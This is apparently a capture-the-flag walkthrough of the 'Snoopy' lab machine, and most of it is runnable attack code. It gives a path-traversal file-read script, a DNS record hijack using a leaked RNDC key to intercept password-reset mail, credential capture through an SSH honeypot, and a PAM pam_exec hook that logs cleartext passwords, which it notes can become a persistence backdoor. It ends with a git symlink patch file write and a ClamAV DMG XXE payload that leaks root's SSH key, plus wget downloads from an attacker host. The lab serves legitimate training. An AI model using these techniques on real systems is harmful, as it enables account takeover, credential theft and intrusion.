πΆ Snoopy
Machine: Snoopy
Difficulty: Hard
Theme: DNS zone transfer β vhost discovery β download endpoint LFI β BIND RNDC key disclosure β authenticated dynamic DNS update β SMTP password reset interception β Mattermost access β server provisioning callback β SSH honeypot credential capture β cbrown shell β sudo git apply symlink file-write β sbrown SSH β ClamAV DMG XXE as root β root SSH key disclosure β root shell
π― Summary
Snoopy is a Linux machine built around abusing infrastructure trust rather than a single obvious web exploit.
Initial enumeration shows only three exposed services: SSH, DNS, and HTTP. DNS allows an AXFR zone transfer for snoopy.htb, which reveals internal and virtual-host records including mm.snoopy.htb, mattermost.snoopy.htb, postgres.snoopy.htb, and provisions.snoopy.htb.
The main web application exposes a download endpoint used for press material. Intercepting the request shows a file parameter. Path traversal through that endpoint allows reading local files from the server. /etc/passwd confirms local users cbrown and sbrown. Reading BIND configuration files discloses the RNDC dynamic update key and confirms that the snoopy.htb zone allows authenticated updates using that key.
The website also mentions that the mail server mail.snoopy.htb is currently offline. Mattermost password reset behavior identifies sbrown@snoopy.htb as a valid account, but sending the reset email fails. With the RNDC key, mail.snoopy.htb is dynamically updated to point to the attacker VPN IP. A local Postfix SMTP listener receives the Mattermost password reset email, and the reset link is extracted from /var/mail/sbrown. This gives access to Mattermost as sbrown.
Inside Mattermost, a custom slash command /server_provision is discovered. Submitting a Linux server provision request makes the target connect back to the attacker on TCP/2222. A normal nc listener is not enough because the callback is SSH. Running an SSH honeypot with sshesame captures credentials for cbrown.
As cbrown, sudo -l shows a constrained sudo rule allowing execution of git apply -v [a-zA-Z0-9.]+ as sbrown. A Git symlink patch technique is used: a repository in /dev/shm tracks a symlink to /home/sbrown/.ssh, and a crafted patch renames the symlink while adding authorized_keys through the renamed path. Applying the patch as sbrown writes the attacker SSH public key into sbrownβs authorized_keys, allowing SSH access as sbrown.
As sbrown, sudo -l shows a second constrained sudo rule: sbrown can run /usr/local/bin/clamscan --debug as root against files in /home/sbrown/scanfiles/. The installed version is ClamAV 1.0.0, which is affected by a DMG parser XXE issue. A crafted DMG is generated by modifying libdmg-hfsplus so the DMG resource plist contains an external entity. A harmless proof first leaks /etc/hostname through ClamAV debug output. The payload is then retargeted to /root/.ssh/id_rsa, leaking rootβs SSH private key. The key is saved locally, permissions are fixed, and SSH as root succeeds.
1. Enumeration
Initial scan:
sudo nmap -sC -sV -vv -oA nmap/snoopy [TARGET_IP]Important results:
22/tcp open ssh OpenSSH 8.9p1 Ubuntu
53/tcp open domain ISC BIND 9.18.12
80/tcp open http nginx 1.18.0A full TCP scan was also run:
sudo nmap -p- --min-rate=800 -T3 -vv [TARGET_IP] -oA nmap/snoopy_portscanThe full scan confirmed the exposed surface was small:
22/tcp
53/tcp
80/tcpThis immediately made DNS and web enumeration more important than port-hunting.
Hostnames were added locally:
echo "[TARGET_IP] snoopy.htb www.snoopy.htb" | sudo tee -a /etc/hostsImportant gotcha:
/etc/hosts does not affect dig unless the query is sent to the target DNS server directly. This failed when querying the local router, but worked when querying the target:
dig ns snoopy.htb
dig ns snoopy.htb @[TARGET_IP]2. DNS Zone Transfer
DNS allowed a zone transfer:
dig axfr snoopy.htb @[TARGET_IP]Useful records:
snoopy.htb. A 127.0.1.1
www.snoopy.htb. A 127.0.0.1
mm.snoopy.htb. A 127.0.0.1
mattermost.snoopy.htb. A 172.18.0.3
postgres.snoopy.htb. A 172.18.0.2
provisions.snoopy.htb. A 172.18.0.4
ns1.snoopy.htb.
ns2.snoopy.htb.The useful names were added to /etc/hosts:
echo "[TARGET_IP] snoopy.htb www.snoopy.htb mm.snoopy.htb mattermost.snoopy.htb provisions.snoopy.htb mail.snoopy.htb" | sudo tee -a /etc/hostsImportant gotcha:
The AXFR records contained Docker/internal IPs such as 172.18.0.x and loopback records such as 127.0.0.1. Those values are meaningful from the targetβs perspective, but not directly reachable from the attacker VPN. For browser access, the useful mapping was still the HTB target IP in /etc/hosts.
3. Web and Mattermost Discovery
The main site exposed marketing-style content and a video.
The video and page content revealed email addresses:
sbrown@snoopy.htb
pr@snoopy.htbThe site also contained a key operational hint:
As we migrate DNS records to our new domain please be advised that our mailserver mail.snoopy.htb is currently offline.This was important later because the password reset path depended on mail delivery.
The Mattermost vhost was available at:
http://mm.snoopy.htb/The application redirected to:
http://mm.snoopy.htb/loginRegistration was blocked:
Contact your workspace adminPassword reset behavior was more useful.
Testing sbrown@snoopy.htb produced a different response than invalid or external addresses:
Failed to send password reset email successfullyThis suggested:
sbrown@snoopy.htb is a valid Mattermost account
mail sending is failingImportant gotcha:
This was not yet account access. It was a username oracle plus a failed delivery path. The useful question became:
Can I make the target deliver the reset email to infrastructure I control?
4. Download Endpoint LFI
The main site exposed a download endpoint for press material:
GET /download?file=announcement.pdf HTTP/1.1
Host: snoopy.htbThe response was a ZIP archive, similar to:
press_release.zip
press_package/...The file parameter was vulnerable to path traversal. Using Burpβs βRequest in browserβ and saving the response allowed local files to be downloaded as ZIP content.
Equivalent command shape:
curl --path-as-is -s -o lfi-passwd.zip \
"http://snoopy.htb/download?file=../../../../etc/passwd"
unzip -p lfi-passwd.zipDoing this per file with curl + unzip works, but because every response comes back as a ZIP, a small helper makes repeated reads trivial β it hits the endpoint, unwraps the archive in memory, and prints the inner file. Save it as download.py:
#!/usr/bin/env python3
import requests
import io
import zipfile
import sys
def download(file):
url = f'http://[TARGET_IP]/download?file=../../../../../../../../../../../{file}'
r = requests.get(url)
if len(r.content) == 0:
return None
zip_content = io.BytesIO(r.content)
with zipfile.ZipFile(zip_content) as z:
content = z.read(f"press_package/{file}")
return content
file = download(sys.argv[1])
if file:
print(file.decode())Make it executable and read any file by path:
chmod +x download.py
./download.py /etc/passwdThis turns the whole LFI into a one-liner per target and made hunting through the BIND configs much faster than saving and unzipping each response by hand.
Important gotcha:
The inner archive path (press_package/{file}) and the number of ../ segments are specific to how this endpoint builds the ZIP β adjust both to the target. .decode() is fine for text; for binary content (keys, archives) use sys.stdout.buffer.write(file) or write the bytes to a file instead.
/etc/passwd confirmed local users:
cbrown:x:1000:1000:Charlie Brown:/home/cbrown:/bin/bash
sbrown:x:1001:1001:Sally Brown:/home/sbrown:/bin/bashAt this point, the LFI was aimed at high-value configuration files instead of random file dumping.
BIND configuration was retrieved:
/etc/bind/named.conf
/etc/bind/named.conf.localnamed.conf contained an RNDC key:
key "rndc-key" {
algorithm hmac-sha256;
secret "[RNDC_SECRET]";
};named.conf.local showed that the snoopy.htb zone allowed authenticated updates with that key:
zone "snoopy.htb" IN {
type master;
file "/var/lib/bind/db.snoopy.htb";
allow-update { key "rndc-key"; };
allow-transfer { 10.0.0.0/8; };
};Important gotcha:
The BIND version itself was not the path. The path was configuration disclosure through LFI. The leaked RNDC key changed DNS from an enumeration service into an infrastructure control primitive.
5. Dynamic DNS Update
A key file was created locally:
cat > keyfile <<'EOF'
key "rndc-key" {
algorithm hmac-sha256;
secret "[RNDC_SECRET]";
};
EOF
chmod 600 keyfileA test record was added first:
nsupdate -k keyfile -d <<EOF
server [TARGET_IP]
zone snoopy.htb
update add fake.snoopy.htb. 60 A [ATTACKER_IP]
send
quit
EOFVerify:
dig @[TARGET_IP] fake.snoopy.htb A +shortExpected:
[ATTACKER_IP]Then mail.snoopy.htb was pointed at the attacker VPN IP:
nsupdate -k keyfile -d <<EOF
server [TARGET_IP]
zone snoopy.htb
update delete mail.snoopy.htb. A
update add mail.snoopy.htb. 60 A [ATTACKER_IP]
send
quit
EOFVerify:
dig @[TARGET_IP] mail.snoopy.htb A +shortExpected:
[ATTACKER_IP]During exploitation, the record appeared to disappear or get reset, so the update was kept alive with a loop:
TARGET=[TARGET_IP]
ATTACKER=[ATTACKER_IP]
while true; do
nsupdate -k keyfile <<EOF
server $TARGET
zone snoopy.htb
update delete mail.snoopy.htb. A
update add mail.snoopy.htb. 60 A $ATTACKER
send
quit
EOF
echo "[+] Current mail.snoopy.htb:"
dig +short @$TARGET mail.snoopy.htb A
sleep 5
doneImportant gotcha:
The correct nsupdate syntax requires a TTL before the record type:
update add mail.snoopy.htb. 60 A [ATTACKER_IP]This is wrong:
update add mail.snoopy.htb A [ATTACKER_IP]because A is parsed where the TTL should be.
6. SMTP Interception with Postfix
Since Mattermost failed to send mail and mail.snoopy.htb could now be controlled, an SMTP listener was needed.
Postfix was installed and configured as a simple receiver.
During install, βInternet Siteβ was selected.
Configuration:
echo "snoopy.htb" | sudo tee /etc/mailname
sudo postconf -e "myhostname = snoopy.htb"
sudo postconf -e "mydomain = snoopy.htb"
sudo postconf -e "myorigin = /etc/mailname"
sudo postconf -e "mydestination = \$myhostname, localhost.\$mydomain, localhost, \$mydomain, snoopy.htb"
sudo postconf -e "inet_interfaces = all"
sudo postconf -e "inet_protocols = ipv4"
sudo postconf -e "mynetworks = 127.0.0.0/8, 10.0.0.0/8"
sudo systemctl restart postfixPostfix initially failed because TCP/25 was already used by INetSim:
sudo ss -ltnp | grep ':25'The fix was to stop INetSim:
sudo systemctl stop inetsim
sudo systemctl restart postfixConfirm listener:
sudo ss -ltnp | grep ':25'Expected:
0.0.0.0:25A local mailbox for sbrown was created:
USER=sbrown
sudo useradd -m "$USER" 2>/dev/null || true
sudo touch "/var/mail/$USER"
sudo chown "$USER":mail "/var/mail/$USER"
sudo chmod 660 "/var/mail/$USER"
sudo truncate -s 0 "/var/mail/$USER"Monitor traffic and logs:
sudo tcpdump -ni tun0 host [TARGET_IP] and tcp port 25sudo journalctl -u postfix -fThen the Mattermost password reset for sbrown@snoopy.htb was triggered again.
Postfix received the email:
from=<no-reply@snoopy.htb>, to=<sbrown@snoopy.htb>, relay=local, status=sentThe reset URL was extracted from the local mailbox:
sudo cat /var/mail/sbrown | \
python3 -c 'import sys, quopri; print(quopri.decodestring(sys.stdin.buffer.read()).decode("utf-8", "replace"))' | \
grep -oE 'https?://[^ "]+'The reset link allowed setting a new Mattermost password for sbrown.
Important gotcha:
A raw nc -lvnp 25 is useful for proving a TCP connection, but Postfix made the reset email easier to receive, store, and decode correctly.
7. Mattermost Access and Server Provisioning
After resetting the password, Mattermost login succeeded as sbrown.
The useful Town Square context was:
cbrown created a new channel for server provisions
requested host must already work with IPA, otherwise he cannot log inThe Server-Provisioning channel itself was empty.
Searching slash commands from the message input revealed a custom command:
/server_provisionSubmitting the provision form with a Linux target caused a callback.
Values used:
Email: sbrown@snoopy.htb
Department: Engineering
Operating System: Linux - TCP/2222
Server IP: [ATTACKER_IP]A packet capture confirmed the callback:
sudo tcpdump -ni tun0 host [TARGET_IP] and tcp port 2222Observed:
[TARGET_IP]:random_port > [ATTACKER_IP]:2222 Flags [S]Important gotcha:
This was not a reverse shell. The service was trying to SSH to the supplied host. A plain netcat listener could confirm the connection but could not capture a real SSH login flow.
8. SSH Honeypot Credential Capture
An SSH honeypot was used to capture the provisioning credential.
Build sshesame:
cd ~/htb/snoopy
git clone https://github.com/jaksi/sshesame.git
cd sshesame
go buildCreate a config for port 2222:
cp sshesame.yaml snoopy-2222.yaml
vi snoopy-2222.yamlSet the listener to:
listen_address: "0.0.0.0:2222"Run it:
sudo ./sshesame -config snoopy-2222.yaml 2>&1 | tee ../sshesame-2222.logTrigger /server_provision again.
The honeypot captured SSH authentication:
authentication for user "cbrown" with password "[CBROWN_PASSWORD]" accepted
connection with client version "SSH-2.0-paramiko_3.1.0" established
[channel 0] command "ls -la" requestedThe credential was saved:
echo 'cbrown:[CBROWN_PASSWORD]' >> ~/htb/snoopy/creds.txtSSH login succeeded:
ssh cbrown@[TARGET_IP]Important gotcha:
The provisioning client was Paramiko. The honeypot did not need to provide a real shell. It only needed to behave enough like SSH to receive the authentication attempt.
Alternative: PAM credential capture (pam_exec.so)
Instead of a fake SSH server, the same credential can be captured by pointing the provisioning callback at a real sshd on the attacker box and hooking the PAM auth stack. PAMβs pam_exec.so runs an arbitrary script during authentication, and expose_authtok pipes the cleartext password to that script on stdin β so any login attempt against the attackerβs sshd leaks its password before the credential is even validated. This avoids building/running sshesame and works for any password-based PAM flow (SSH, su, sudo).
Run this on the attacker box, not the target.
The hook lives on the attacker-controlled SSH server that receives the inbound provisioning connection. Targeting
common-authcasts a wide net β it captures every authentication on that host, including your own logins β so do this on a throwaway/attack VM and remove the line afterward. The same technique pivots to a persistence/credential-harvesting backdoor once you own a target box.
Confirm the PAM exec module is present:
find / -name pam_exec.so 2>/dev/nullWrite the capture script to volatile memory and make it executable:
cat > /dev/shm/pwn.sh <<'EOF'
#!/bin/sh
echo "$(date) - $PAM_USER:$(cat -)" >> /dev/shm/pwned.log
EOF
chmod +x /dev/shm/pwn.sh$PAM_USER is the username PAM is authenticating; cat - reads the cleartext password from stdin (delivered by expose_authtok).
Add the hook to the common auth stack β the file is /etc/pam.d/common-auth (included by every PAM service, including sshd). Position matters: the line must go before pam_unix.so (at the top of the Primary block), not appended to the bottom of the file.
Method 1 β edit it by hand (understand the change). Open the file in an editor:
sudo nano /etc/pam.d/common-auth # or: sudo vi /etc/pam.d/common-authFind the Primary block and add the pam_exec line directly above the pam_unix.so line, so it reads:
# here are the per-package modules (the "Primary" block)
auth optional pam_exec.so quiet expose_authtok /dev/shm/pwn.sh
auth [success=1 default=ignore] pam_unix.so nullokA PAM rule is four whitespace-separated parts (spaces or tabs both work) β knowing them is what lets you write the line from memory:
| Field | Value here | Meaning |
|---|---|---|
| type | auth | the management group β this rule runs during authentication |
| control | optional | its result never changes the overall pass/fail (so a script error canβt lock you out) |
| module | pam_exec.so | run an external program as part of the stack |
| args | quiet expose_authtok /dev/shm/pwn.sh | quiet (no module output) Β· expose_authtok (pipe the password to the program on stdin) Β· the script to run |
Method 2 β one-liner (same result, faster). sed inserts the line above the first pam_unix.so match:
sudo sed -i '/^auth.*pam_unix.so/i auth\toptional\tpam_exec.so quiet expose_authtok /dev/shm/pwn.sh' /etc/pam.d/common-auth/^auth.*pam_unix.so/β the address: matches thepam_unixauth line.i <text>β GNU sed insert, places<text>on the line before the match (\texpand to tabs).
Either way, restart the daemon so the rebuilt stack is loaded into memory:
# attacker /etc/ssh/sshd_config: UsePAM yes, PasswordAuthentication yes
sudo systemctl restart sshThe resulting /etc/pam.d/common-auth should look like this, with pam_exec first:
# /etc/pam.d/common-auth
# here are the per-package modules (the "Primary" block)
auth optional pam_exec.so quiet expose_authtok /dev/shm/pwn.sh
auth [success=1 default=ignore] pam_unix.so nullok
# here's the fallback if no module succeeds
auth requisite pam_deny.so
auth required pam_permit.soWhy ordering matters β appending to the bottom does not work.
PAM walks the auth stack top-to-bottom. The default stack ends with
pam_deny.so(requisite), which terminates the stack immediately once authentication fails. The botβs offered password wonβt match the localcbrownaccount you create (different/empty password), sopam_unix.sofails and the stack heads straight forpam_denyβ apam_execline appended afterpam_denynever runs and you capture nothing. Placing it beforepam_unix.soguarantees it fires first and grabs the offered token regardless of whether local validation succeeds.
Flag meanings:
optionalβ operational safety. If the script errors it does not break the login flow, so it never locks you out.quietβ suppress module output for stealth.expose_authtokβ the core mechanism. Pipes the cleartext auth token into the script via stdin.
The hook lives on the system sshd (port 22), but the provisioning callback dials 2222. Rather than rebind sshd, forward the callback port into the real daemon with socat so the inbound auth is processed by the PAM-hooked service:
socat TCP-LISTEN:2222,fork,reuseaddr TCP:127.0.0.1:22First pass β capture the username. Trigger /server_provision and read the log:
cat /dev/shm/pwned.log... - cbrown:$PAM_USER reveals the username (cbrown), but the password field is empty. When the account does not exist locally, sshd short-circuits into a dummy auth path and never processes the real token, so expose_authtok has nothing to hand the script.
Second pass β capture the password. Create the account so sshd runs the genuine auth path, then trigger /server_provision again:
sudo useradd cbrown
cat /dev/shm/pwned.log... - cbrown:
... - cbrown:[CBROWN_PASSWORD]The second line now carries the cleartext password.
Remove the hook and the throwaway account when finished:
sudo sed -i '/pam_exec.so quiet expose_authtok/d' /etc/pam.d/common-auth
sudo userdel cbrownImportant gotcha:
For a nonexistent user, expose_authtok yields only the username β sshd runs a fake auth path for unknown users (to resist enumeration) and never feeds the submitted password into the PAM stack, so the password field comes back empty. This is why the capture is a two-step dance: the first provision names the user, and only after sudo useradd cbrown does the second provision drive the real auth path that exposes the cleartext token.
9. cbrown Enumeration
Basic enumeration as cbrown:
whoami
id
groups
hostname
ls -la ~
sudo -lUser context:
uid=1000(cbrown) gid=1000(cbrown) groups=1000(cbrown),1002(devops)Home observations:
.bash_history -> /dev/null
.viminfo -> /dev/null
.ssh/authorized_keys emptysudo -l was the key finding:
User cbrown may run the following commands on snoopy:
(sbrown) PASSWD: /usr/bin/git ^apply -v [a-zA-Z0-9.]+$This means cbrown can run git apply -v <simple_filename> as sbrown.
Important gotcha:
This is not a generic shell escape. The regex is restrictive:
[a-zA-Z0-9.]+No slashes, no spaces, no extra flags, no path traversal. The patch file must be in the current directory and have a simple name like patch.
10. Lateral Movement: cbrown to sbrown via Git Symlink Patch
The idea was to use git apply as sbrown to write to a path controlled through a Git-tracked symlink.
Generate an SSH key locally on the attacker box:
ssh-keygen -t ed25519 -f ~/htb/snoopy/sbrown_key -N ''
cat ~/htb/snoopy/sbrown_key.pubOn the target as cbrown, create a clean repo in /dev/shm:
cd /dev/shm
rm -rf r
mkdir r
chgrp devops r
chmod 775 r
cd r
git init
git config user.email cbrown@snoopy.htb
git config user.name cbrown
ln -s /home/sbrown/.ssh symlink
git add symlink
git commit -m init
git ls-files -sExpected symlink mode:
120000 ... symlinkCreate the patch from the target shell.
The public key must be a single line:
PUBKEY='ssh-ed25519 AAAA... user@parrot'
cat > patch <<EOF
diff --git a/symlink b/renamed-symlink
similarity index 100%
rename from symlink
rename to renamed-symlink
--
diff --git /dev/null b/renamed-symlink/authorized_keys
new file mode 100644
index 0000000..1111111
--- /dev/null
+++ b/renamed-symlink/authorized_keys
@@ -0,0 +1,1 @@
+$PUBKEY
EOFVerify:
nl -ba patchExpected important line:
12 +ssh-ed25519 AAAA... user@parrotApply as sbrown:
sudo -u sbrown /usr/bin/git apply -v patchExpected:
Checking patch symlink => renamed-symlink...
Checking patch renamed-symlink/authorized_keys...
Applied patch symlink => renamed-symlink cleanly.
Applied patch renamed-symlink/authorized_keys cleanly.SSH as sbrown from the attacker:
chmod 600 ~/htb/snoopy/sbrown_key
ssh -i ~/htb/snoopy/sbrown_key sbrown@[TARGET_IP]User flag:
cat ~/user.txtImportant gotchas:
The first patch failed with:
error: corrupt patch at line 12The issue was patch formatting. The public key line must start with +.
Another issue appeared:
fatal: Unable to read current working directory: No such file or directoryThis happened because the shell was sitting inside a stale/deleted /dev/shm/r directory. The fix was to leave the directory and recreate the repo cleanly:
cd /dev/shm
rm -rf r
mkdir r
cd rVim also produced:
E212: Can't open file for writingAvoiding Vim and using a heredoc made the patch creation cleaner and prevented line wrapping issues.
11. sbrown Enumeration
As sbrown:
whoami
id
groups
sudo -l
ls -la ~
ls -la ~/scanfiles
find ~ -maxdepth 3 -type f -ls 2>/dev/nullUser context:
uid=1001(sbrown) gid=1001(sbrown) groups=1001(sbrown),1002(devops)sudo -l:
User sbrown may run the following commands on snoopy:
(root) NOPASSWD: /usr/local/bin/clamscan ^--debug /home/sbrown/scanfiles/[a-zA-Z0-9.]+$scanfiles was writable by sbrown:
/home/sbrown/scanfilesCheck ClamAV:
which clamscan
clamscan --version
clamscan -hVersion:
ClamAV 1.0.0/26853/Fri Mar 24 07:24:11 2023Important constraints:
Runs as root
Only --debug is allowed
Target must be inside /home/sbrown/scanfiles/
Filename can contain only letters, numbers, and dots
No extra flags can be passedImportant gotcha:
This is not a direct file-read rule. The regex prevents running:
sudo /usr/local/bin/clamscan --debug /root/root.txtThe useful question was:
Can a file placed in
/home/sbrown/scanfiles/make rootβs ClamAV parser read and disclose another file?
12. ClamAV DMG XXE Proof
The installed version was vulnerable to a DMG parser XXE issue. The goal was to create a DMG whose resource plist contains an external entity. When scanned with --debug, ClamAV expands the entity and prints its contents.
First a harmless proof target was used:
file:///etc/hostnameBuild environment on the attacker box:
cd ~/htb/snoopy
mkdir -p clamav_dmg
cd clamav_dmg
sudo apt install -y git cmake build-essential genisoimage
mkdir mnt
echo test > mnt/test.txt
genisoimage -V progname -D -R -apple -no-pad -o progname.dmg mnt
git clone https://github.com/fanquake/libdmg-hfsplus
cd libdmg-hfsplusFind the plist and resource-writing code:
grep -R "plistHeader" -n .
grep -R "writeResources" -n .The relevant file was:
dmg/resources.cEdit it:
vi dmg/resources.cNear the plistHeader, add the external entity:
const char *plistHeader =
"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"
"<!DOCTYPE plist [<!ENTITY xxe SYSTEM \"file:///etc/hostname\">]>\n"
"<plist version=\"1.0\">\n"
"<dict>\n";In writeResources, leave the resource-fork key alone:
abstractFilePrint(file, "\t<key>resource-fork</key>\n\t<dict>\n");Change the resource key print from:
abstractFilePrint(file, "\t\t<key>%s</key>\n\t\t<array>\n",
curResource->key);to:
abstractFilePrint(file, "\t\t<key>%s</key>\n\t\t<array>\n",
"&xxe;");Build and generate the crafted DMG:
cmake . -B build
make -C build/dmg -j8
build/dmg/dmg ../progname.dmg ../c.dmgVerify the payload is present:
strings ../c.dmg | grep -Ei 'DOCTYPE|ENTITY|xxe|plist'Expected:
<!DOCTYPE plist [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<plist version="1.0">
<key>&xxe;</key>Serve the DMG:
cd ~/htb/snoopy/clamav_dmg
python3 -m http.server 8081Download it on the target as sbrown:
cd /home/sbrown/scanfiles
rm -f c.dmg
wget http://[ATTACKER_IP]:8081/c.dmg -O c.dmg
ls -l c.dmgRun the allowed scan:
sudo /usr/local/bin/clamscan --debug /home/sbrown/scanfiles/c.dmg 2>&1 | tee /tmp/clamdebug.txtSearch the debug output:
grep -A20 -B20 -Ei 'snoopy|hostname|plist|resource|xxe|dmg' /tmp/clamdebug.txtProof output:
LibClamAV debug: cli_scandmg: wanted blkx, text value is snoopy.htbThat confirmed that the entity referencing /etc/hostname was expanded and printed by ClamAV while running as root.
Important gotcha:
The scan result can still say:
/home/sbrown/scanfiles/c.dmg: OKThat is not failure. The vulnerability is in debug disclosure, not malware detection.
13. Root SSH Key Disclosure
After the /etc/hostname proof worked, the entity target was changed from:
file:///etc/hostnameto:
file:///root/.ssh/id_rsaEdit the attacker-side source again:
cd ~/htb/snoopy/clamav_dmg/libdmg-hfsplus
vi dmg/resources.cChange:
"<!DOCTYPE plist [<!ENTITY xxe SYSTEM \"file:///etc/hostname\">]>\n"to:
"<!DOCTYPE plist [<!ENTITY xxe SYSTEM \"file:///root/.ssh/id_rsa\">]>\n"Rebuild and regenerate:
make -C build/dmg -j8
build/dmg/dmg ../progname.dmg ../c.dmg
strings ../c.dmg | grep -Ei 'DOCTYPE|ENTITY|xxe|id_rsa|plist'Serve again:
cd ~/htb/snoopy/clamav_dmg
python3 -m http.server 8081On target:
cd /home/sbrown/scanfiles
rm -f c.dmg
wget http://[ATTACKER_IP]:8081/c.dmg -O c.dmg
sudo /usr/local/bin/clamscan --debug /home/sbrown/scanfiles/c.dmg 2>&1 | tee /tmp/clamdebug_rootkey.txtSearch for private key material:
grep -A120 -B10 'BEGIN OPENSSH PRIVATE KEY\|BEGIN RSA PRIVATE KEY' /tmp/clamdebug_rootkey.txtIf needed, isolate the key-looking block:
awk '/BEGIN .*PRIVATE KEY/{flag=1} flag{print} /END .*PRIVATE KEY/{flag=0}' /tmp/clamdebug_rootkey.txtThe leaked key was saved locally on the attacker machine:
vi ~/htb/snoopy/id_rsa
chmod 600 ~/htb/snoopy/id_rsaImportant gotcha:
The key must be copied cleanly:
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----No LibClamAV debug: prefixes.
No extra debug lines.
No missing line breaks.
14. Root Shell
SSH as root with the leaked key:
ssh -i ~/htb/snoopy/id_rsa root@[TARGET_IP]Root shell:
root@snoopy:~#Read root flag:
cat /root/root.txtImportant gotcha:
If SSH returns key format errors, the copied key is malformed. Re-copy the PEM block and preserve exact line breaks.
π Condensed Attack Chain
Initial Nmap scan
β
Only SSH, DNS, and HTTP exposed
β
DNS queried directly against target
β
AXFR succeeds for snoopy.htb
β
Vhosts discovered: mm, mattermost, postgres, provisions
β
Main web page reveals emails and offline mailserver notice
β
Mattermost password reset identifies sbrown@snoopy.htb as valid
β
Download endpoint exposes file parameter
β
Path traversal reads /etc/passwd
β
Local users cbrown and sbrown identified
β
LFI reads BIND config files
β
RNDC key recovered
β
named.conf.local confirms allow-update for snoopy.htb using rndc-key
β
nsupdate with leaked key adds fake.snoopy.htb test record
β
mail.snoopy.htb dynamically updated to attacker VPN IP
β
Postfix configured as SMTP receiver
β
INetSim stopped because it occupied TCP/25
β
Mattermost reset email delivered to attacker Postfix
β
Reset URL extracted from /var/mail/sbrown
β
Mattermost password reset completed for sbrown
β
Mattermost access obtained
β
/server_provision slash command discovered
β
Linux TCP/2222 provisioning request submitted to attacker IP
β
Target connects back over SSH
β
sshesame SSH honeypot captures cbrown credentials
β
SSH as cbrown succeeds
β
sudo -l shows git apply allowed as sbrown
β
Git repo created in /dev/shm with symlink to /home/sbrown/.ssh
β
Crafted patch renames symlink and writes authorized_keys
β
sudo -u sbrown git apply -v patch writes attacker key
β
SSH as sbrown succeeds
β
user.txt recovered
β
sudo -l shows root clamscan --debug allowed against scanfiles
β
ClamAV version 1.0.0 identified
β
DMG parser XXE researched
β
libdmg-hfsplus modified to add external entity to DMG plist
β
Crafted DMG generated
β
Proof scan leaks /etc/hostname as snoopy.htb
β
Entity target changed to /root/.ssh/id_rsa
β
Root SSH private key leaked through ClamAV debug output
β
SSH as root succeeds
β
root.txt recoveredπ§ Key Takeaways
DNS can become an exploitation path. The AXFR was only the first step. The real impact came from leaking the RNDC key and abusing authenticated dynamic updates.
/etc/hosts does not control dig. DNS testing must query the target name server explicitly with @[TARGET_IP].
A small exposed web download feature can become full infrastructure compromise if it allows path traversal into service configuration files.
Configuration files are often better LFI targets than flags. Reading /etc/passwd confirmed users, but reading BIND config exposed the dynamic DNS key that enabled the mail interception chain.
Scripting the LFI early pays off. When a download endpoint wraps every response in a ZIP, a tiny Python wrapper that unwraps the archive in memory turns file reads into ./download.py <path> β far faster than saving and unzipping each response by hand once youβre pulling multiple config files.
Version-based rabbit holes should be resisted until configuration and application logic are exhausted. BIND itself was not exploited; its leaked RNDC key was.
Password reset behavior can leak account validity even when the reset email fails. The βfailed to send reset emailβ message was useful because it confirmed the account existed and pointed toward mail infrastructure.
Offline mail infrastructure can be turned into an attack surface if DNS is controllable. By repointing mail.snoopy.htb, the reset email was delivered to the attacker-controlled SMTP server.
Postfix is better than netcat for receiving real mail. It stores messages, handles SMTP correctly, and makes token extraction repeatable.
Mattermost was not directly exploited. It was used as an internal workflow surface after account takeover.
Custom slash commands are high-signal. /server_provision exposed an internal automation workflow that made an outbound SSH connection.
A callback to TCP/2222 was not automatically a shell. The connection was SSH, so an SSH honeypot was the correct tool.
Credential capture through a honeypot worked because the provisioning automation attempted password-based SSH authentication to the supplied host.
Constrained sudo rules still have attack surface. The git apply rule looked tight, but Git patch semantics and symlink handling allowed a file write as another user.
The Git lateral movement required exact patch formatting. The added public key line needed a leading +, and the public key had to remain one line.
A stale working directory can break Git in confusing ways. fatal: Unable to read current working directory meant /dev/shm/r had been deleted or recreated while the shell was still inside it.
The sbrown sudo rule was not a GTFOBins shortcut. The regex prevented arbitrary files and flags. The exploitable condition was a privileged file parser processing attacker-controlled input.
ClamAV debug mode mattered. The vulnerability leaked data through parser debug output, so 2>&1 was required to capture stderr.
Always prove file-read primitives with harmless files first. /etc/hostname confirmed XXE expansion before targeting root SSH material.
Root SSH key disclosure is cleaner than directly reading the root flag. It gives a real root shell and a stronger proof of compromise.
β‘ Commands Cheat Sheet
Host setup
echo "[TARGET_IP] snoopy.htb www.snoopy.htb mm.snoopy.htb mattermost.snoopy.htb provisions.snoopy.htb mail.snoopy.htb" | sudo tee -a /etc/hostsNmap
sudo nmap -sC -sV -vv -oA nmap/snoopy [TARGET_IP]
sudo nmap -p- --min-rate=800 -T3 -vv [TARGET_IP] -oA nmap/snoopy_portscanDNS
dig ns snoopy.htb @[TARGET_IP]
dig axfr snoopy.htb @[TARGET_IP]
dig @[TARGET_IP] mail.snoopy.htb A +shortLFI through download endpoint
curl --path-as-is -s -o lfi-passwd.zip \
"http://snoopy.htb/download?file=../../../../etc/passwd"
unzip -p lfi-passwd.zipOr use the download.py helper (see the LFI section) to skip the manual unzip:
./download.py /etc/passwdUseful file targets:
/etc/passwd
/etc/bind/named.conf
/etc/bind/named.conf.local
/var/lib/bind/db.snoopy.htbRNDC key file
cat > keyfile <<'EOF'
key "rndc-key" {
algorithm hmac-sha256;
secret "[RNDC_SECRET]";
};
EOF
chmod 600 keyfileDynamic DNS test
nsupdate -k keyfile -d <<EOF
server [TARGET_IP]
zone snoopy.htb
update add fake.snoopy.htb. 60 A [ATTACKER_IP]
send
quit
EOF
dig @[TARGET_IP] fake.snoopy.htb A +shortDynamic DNS mail hijack
nsupdate -k keyfile -d <<EOF
server [TARGET_IP]
zone snoopy.htb
update delete mail.snoopy.htb. A
update add mail.snoopy.htb. 60 A [ATTACKER_IP]
send
quit
EOF
dig @[TARGET_IP] mail.snoopy.htb A +shortKeep DNS record alive
TARGET=[TARGET_IP]
ATTACKER=[ATTACKER_IP]
while true; do
nsupdate -k keyfile <<EOF
server $TARGET
zone snoopy.htb
update delete mail.snoopy.htb. A
update add mail.snoopy.htb. 60 A $ATTACKER
send
quit
EOF
dig +short @$TARGET mail.snoopy.htb A
sleep 5
donePostfix SMTP receiver
sudo systemctl stop inetsim
echo "snoopy.htb" | sudo tee /etc/mailname
sudo postconf -e "myhostname = snoopy.htb"
sudo postconf -e "mydomain = snoopy.htb"
sudo postconf -e "myorigin = /etc/mailname"
